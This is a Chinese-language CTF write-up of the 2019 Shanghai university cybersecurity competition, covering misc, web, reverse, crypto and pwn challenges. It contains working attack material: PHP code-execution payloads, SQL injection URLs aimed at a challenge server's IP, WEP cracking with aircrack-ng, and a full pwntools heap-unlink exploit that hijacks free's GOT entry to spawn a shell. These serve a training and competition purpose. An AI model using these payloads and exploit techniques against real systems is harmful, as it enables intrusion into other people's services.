2019上海市大学生网络安全竞赛线上WriteUp

MISC

签到

IDA打开,shitf+F12搜索字符串f1ag得到

Unlimited Base64 Works

提取帧(可以使用ffmpeg -i ubw.avi -v:p 10 -r 30 ./out/out%d.png)

观察到每一帧有一个base64字符,所以目标是把这些字符提取出来,

由于字符的位置是随机的,可以先预处理把字符从图片抠出来,遍历一下找到字符的边界即可

然后就是识别字符了,第一种做法是用ocr工具提取,比如pytesseract等,但对于l、I这些效果不是很好,需要手动修复一部分字符。第二种是根据字符的哈希恢复(因为视频是无损的,所以可以这么做),需要手工整理64个字符的哈希值,使用pdb设置断点可以很快完成这个过程。

将base64解码,得到一张png图片,即为flag

无线安全

拿到附件,发现有两个文件,第一个是个data文件,第二个是个流量包flow.pcapng。先从流量入手,在分析一段之后,发现流量中存在adb安装的特征,在1180序号左右的包中出现。

过滤无用的流量,这里我们确定电脑和手机的ip之后可以使用条件过滤。

但是发现还是有一些无用的tcp重传,keep alive之类的包,这里再进行过滤,完整的过滤条件如下:

将过滤后的流量包导出,使用脚本提取,观察流量,在带有WRTE的包之后就是一大串连续的数据,而且明显是apk文件的内容,另外,还有一些带OKAY或CLSE的包,这些包中不带有文件数据,可以跳过。因此写出脚本,脚本在解题/extractApk.py中,运行之后可以从过滤的流量中提取出apk文件。

这里还需要手动删除一些无用的数据,因为apk是个压缩包,所以PK头很明显,直接用010editor把前面没用的数据删了(注意路径不要有中文,不然010可能会打不开)。

将apk安装到手机,可以发现需要输入wifi密码。

这时候再回到第一个safe_wifi-01附件,我们打开看看内容,发现提示WEP,想到wep加密wifi的漏洞,可以使用经典工具aircrack套件破解。

运行一下aircrack-ng safe_wifi-01

将wifi密码输入apk,得到flag

WEB

decade

看题发现code里有源码

一看就是ByteCtf原题改的,多过滤了readfile、time等函数,参考文档https://www.guildhab.top/?p=1077。
老方法需要凑到ASCII为46的字符,也就是“.”,payload为
echo(chr(ceil(sinh(cosh(tan(floor(abs(tan(cosh(floor(phpversion())))))))))));

然后进行目录翻阅,payload为:
chdir(next(scandir(next(scandir(chr(ceil(sinh(cosh(tan(floor(abs(tan(cosh(floor(phpversion())))))))))))))));

最后构造payload得到flag:
echo(implode(file(end(scandir(chr(ceil(sinh(cosh(tan(ceil(sinh(sinh(cosh(ord(strpos(chdir(next(scandir(next(scandir(chr(ceil(sinh(cosh(tan(floor(abs(tan(cosh(floor(phpversion())))))))))))))))))))))))))))))));

babyt5

显然为六月安恒杯WEB2原题https://www.jianshu.com/p/804d95f6d6fb
直接复现就行,得到flag。

Easysql

http://47.105.183.208:29898/article.php?id=0%27 union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D)%23
2有回显

http://47.105.183.208:29898/article.php?id=0%27 union select * from ((select 1)A join (select group_concat(table_name) from mysql.innodb_table_stats where database_name=schema())B join (select 3)C join (select 4)D)%2
查到表article,fl111aa44a99g

http://47.105.183.208:29898/article.php?id=0%27 union select from ((select 1)A join (select e.3 from (select from (select 1)a join (select 2)b join (select 3)c union select * from fl111aa44a99g)e limit 1 offset 1)B join (select 3)C join (select 4)D)%23
用虚表绕过未知字段查询flag

RE

Puzzle

unsigned int sub(unsigned char* a1){
    unsigned char* v1;
    unsigned int result;
    unsigned int dword_40F020= 0x8A;
    unsigned int dword_40F024= 0x1A1;
    unsigned int dword_40F028= 0x12A;
    unsigned int dword_40F02C= 0x269;
    unsigned int dword_40F030= 0x209;
    unsigned int dword_40F034= 0x68;
    unsigned int dword_40F038= 0x39F;
    unsigned int dword_40F03C= 0x2C8;

  v1 = a1;
  while (2)
  {
    switch (*v1)
    {
      case 0:
        dword_40F028 &= dword_40F038;
        dword_40F02C *= dword_40F028;
        goto LABEL_4;
      case 1:
        if (!dword_40F02C)
          goto LABEL_6;
        dword_40F028 /= dword_40F02C;
        dword_40F024 += dword_40F034;
        goto LABEL_4;
      case 2:
        dword_40F030 ^= dword_40F034;
        dword_40F03C += dword_40F020;
        goto LABEL_4;
      case 3:
        dword_40F03C -= dword_40F030;
        dword_40F030 &= dword_40F024;
        goto LABEL_4;
      case 4:
        dword_40F034 *= dword_40F020;
        dword_40F02C -= dword_40F038;
        goto LABEL_4;
      case 5:
        dword_40F020 ^= dword_40F02C;
        dword_40F038 -= dword_40F03C;
        goto LABEL_4;
      case 6:
        if (!dword_40F03C)
          goto LABEL_6;
        dword_40F034 |= dword_40F024 / dword_40F03C;
        dword_40F024 /= dword_40F03C;
        goto LABEL_4;
      case 7:
        dword_40F038 += dword_40F028;
        dword_40F034 |= dword_40F024;
        goto LABEL_4;
      case 8:
        dword_40F020 *= dword_40F02C;
        dword_40F030 -= dword_40F03C;
        goto LABEL_4;
      case 9:
        dword_40F028 += dword_40F034;
        dword_40F02C ^= dword_40F030;
LABEL_4:
        if (++v1 != a1 + 8)
          continue;
        result = (dword_40F038 == 0xE7)
               + (dword_40F034 == 0x3878)
               + (dword_40F030 == 0x3A71)
               + (dword_40F02C == 0xFFFFCC30)
               + (dword_40F028 == 0x10)
               + (dword_40F024 == 0x68)
               + (dword_40F020 == 0xFFFFFC49) == 7;
        if (dword_40F03C != 0xFFFFFF11)
          goto LABEL_6;
        break;
      default:
LABEL_6:
        result = 0;
        break;
    }
    return result;
  }
}

void bit_blast()
{
    clock_t start=0, finish;     
    double Total_time;     
    char buff[20];
    buff[4] = 0;

    for (buff[7] = 0; buff[7] <= 9; buff[7]++)
        for (buff[6] = 0; buff[6] <= 9; buff[6]++)
            for (buff[5] = 0; buff[5] <= 9; buff[5]++)
                for (buff[4] = 0; buff[4] <= 9; buff[4]++)
    for (buff[3] = 0; buff[3] <= 9; buff[3]++)
        for (buff[2] = 0; buff[2] <= 9; buff[2]++)
            for (buff[1] = 0; buff[1] <= 9; buff[1]++)
                for (buff[0] = 0; buff[0] <= 9; buff[0]++)
                {
                    if (sub(buff)) {
                        for (int i = 0; i < 8; i++) {
                            printf("%d\n", buff[i]);
                        }

                    }

}

得到{ 6, 1, 4, 9, 5, 0, 7, 2 };
下面是符号执行引擎求解出来的https://github.com/notify-bibi/TriggerBug

State_Tag cmpr(State* s) {

    _VexGuestX86State v(*s);
    s->solv.push();
    ADDR A = v.guest_ESI;
    UChar enc[] = { 6, 1, 4, 9,  5, 0, 7, 2 };
    for (int i = 0; i < 8; i++) {
        s->add_assert(s->mem.Iex_Load<Ity_I8>(A + i) == enc[i], 1);
    }
    vex_printf("checking\n\n");
    auto dfdfs = s->solv.check();
    if (dfdfs == sat) {
        vex_printf("sat");
        auto m = s->solv.get_model();
        std::cout << m << std::endl;
    }
    else {
        vex_printf("unsat??????????\n\n%d", dfdfs);
    }
    s->solv.pop();
    return Death; 
}

 StatePrinter<StateX86> state(INIFILENAME, (Addr64)0, True);

    _VexGuestX86State v(state);
    ULong hexbegin = v.guest_ESI;
    Vns hex(state.m_ctx, 0, 0);
    for (int i=0; i < 8; i++) {
        Vns FLAG = state.get_int_const(8);
        state.add_assert(FLAG > (UChar)0, True);
        state.mem.Ist_Store(hexbegin + i, FLAG);
    }
state.hook_add(0x040EE5A, cmpr);

State::pushState(state);
State::pool->wait();

Flag:

sat(define-fun part_40ee20_6 () (_ BitVec 8)
  #xea)
(define-fun part_40ee20_5 () (_ BitVec 8)
  #x98)
(define-fun part_40ee20_1 () (_ BitVec 8)
  #xaa)
(define-fun part_40ee20_2 () (_ BitVec 8)
  #x29)
(define-fun part_40ee20_0 () (_ BitVec 8)
  #x7a)
(define-fun part_40ee20_4 () (_ BitVec 8)
  #x2a)
(define-fun part_40ee20_3 () (_ BitVec 8)
  #x98)
(define-fun part_40ee20_7 () (_ BitVec 8)
  #xab)

Crypto

RSA

直接上脚本

import sys
sys.setrecursionlimit(1000000)
from fractions import Fraction
import gmpy2
import math
import random
import base64
n=9538795663851271297602738029671089878718012242935213096566250130325046936720540247534143498025477544161347330379679111765871420732255741210434736423951962189227302658997497664520929375215715960063615792480965807127438948044298348300153102760490410578638259665656608784635088735809470916136628779400145983632930861883762707606629208260803446083579674497451514650309351925430391515629898218875049677870989016071086844819626778388370764400242376469343158294638240660190754978627356076115228410162956087266527271225439142347304100660800517276772407728290414074912243665126741030948775883739544952378188264714716087909797

k1=19077591327702542595205476059342179757436024485870426193132500260650093873441080495068286996050955088322694660759358223531742841464511482420869472847903924378454605317994995329041858750431431920127231584961931614254877896088596696600306205520980821157276519331313217569270177471618941832273257558800291967266057799408185825199394392306374394195697993019961311696247374832761757990150416392201444079060627610573918631913438062954960835929982836033906925917632413007648356037059843552967726871763559759125837289869091638924336309932526582201350695938677991368335828814565265478203873169858685929462350511138398905572292
k2=9538795663851271297602738029671089878718012242935213096566250130325046936720540247534143498025477544161347330379679111765871420732255741210434736423951962189227302658997497664520929375215715960063615792480965807127438948044298348300153102760490410578638259665656608784635088735809470916136628779400145983632930861883762707606629208260803446083579674497451514650309351925430391515629898218875049677870989016071086844819626778388370764400242376469343158294638240660190754978627356076115228410162956087266527271225439142347304100660800517276772407728290414074912243665126741030948775883739544952378188264714716087909797

e2=368284101618076523549199130884422355928051525996327977632544904437878504262870825378516827225793010165434494157238379685995430409966951122729243411694569562164062815098110639750101378457641471316188502263725098231679401928494160942213175404259256770984218593245458108598930926260386443799301699336309331946341173652201791293571029025818674575198311845811957606474490230382511996537893448524426809391980637983473305318819523408854264623254226127223862150173575206444726570183096891630129244778802793476295746913846105454198627

enc=7303495910407762399046490836902121070389476875516762048462433039234972742941586801378979220008051262826174054961747648114128456872349675769941760630519744351742977740846748646739901172672743584989842268056810152117350241337045055812845489372389014195433916347255846499434232234822333192328886207187844781726928951986353054876826105507064928478812402103648940709131760865763234071703554208057808885564381400571862422316195578258814602362582573148358552148686182480215663291366798585241933446701357953551496955627421526567152576426417189707335038601040167826900549139608192971559659991213411381604721734898065256138516

e = 1024

v=Fraction(k1, k2)
pjq =( v-2) * n
md=pjq*pjq-4*n
a=gmpy2.iroot(int(md), 2)
vd = int(a[0])

q=int((pjq+vd)/2)
p= int(pjq-q)

print(p*q == n)
def egcd(a, b):
    if a == 0:
      return (b, 0, 1)
    else:
      g, y, x = egcd(b % a, a)
      return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
      raise Exception('modular inverse does not exist')
    else:
      return x % m

e=0
for mod in range(100000):
    if pow(123, mod, n)==e2:
        print("ok",mod)
        e=mod
        break

if (p*q == n):
    d=modinv(e,(p-1)*(q-1))
    m = pow(enc, d, n)
    print( base64.b16decode(hex(m)[2:],casefold=True))
else:
    print("no")

PWN

SlientNote

这道题主要用的是unlink,通过构建一个fake chunk,在向前合并时,对bss段的global 指针进行覆盖,从而达到任意地址写的目的。改写free 的got表,写入“/bin/sh“字符串,free后getshell

from pwn import*

context.log_level = "debug"
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process("./pwn")
#p = remote("8sdafgh.gamectf.com",35555)
a = ELF("./pwn")
e = a.libc
#gdb.attach(p)
def add(idx,content):
    p.recvuntil("4.Exit")
    p.sendline("1")
    p.recvuntil("Which kind of note do you want to add?")
    p.sendline(str(idx))
    p.recvuntil("Content:")
    p.send(content)
def delete(idx):
    p.recvuntil("4.Exit")
    p.sendline("2")
    p.recvuntil("Which kind of note do you want to delete?")
    p.sendline(str(idx))

def edit(idx,content):
    p.recvuntil("4.Exit")
    p.sendline("3")
    p.recvuntil("Which kind of note do you want to update?")
    p.sendline(str(idx))
    p.recvuntil("Content:")
    p.sendline(content)

add(2,"dead\n")
add(1,"dead\n")
edit(2,"\x00"*0x8+p64(0x21)+p64(0x6020D8-0x18)+p64(0x6020D8-0x10)+p64(0x20)+p64(0x90)+p64(0x21)*24)
pwnlib.gdb.attach(p,'b *0x400D9D')
delete(2)
add(1,"dead\n")
add(1,"dead\n")

edit(2,"\x00"*0x8+p64(0x21)+p64(0x6020D8-0x18)+p64(0x6020D8-0x10)+p64(0x20)+p64(0x90))
delete(1)

edit(2,p64(0)*2+p64(0x602018))
edit(1,p64(0x400740))
edit(2,p64(0)*2+p64(0x602020))
delete(1)
p.recvuntil("2.Large\n")
libc_addr =  u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))-0x6f690
print hex(libc_addr)

edit(2,p64(0)*2+p64(0x602018))
edit(1,p64(libc_addr+0x45390))
edit(2,"/bin/sh\x00")
delete(2)
p.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇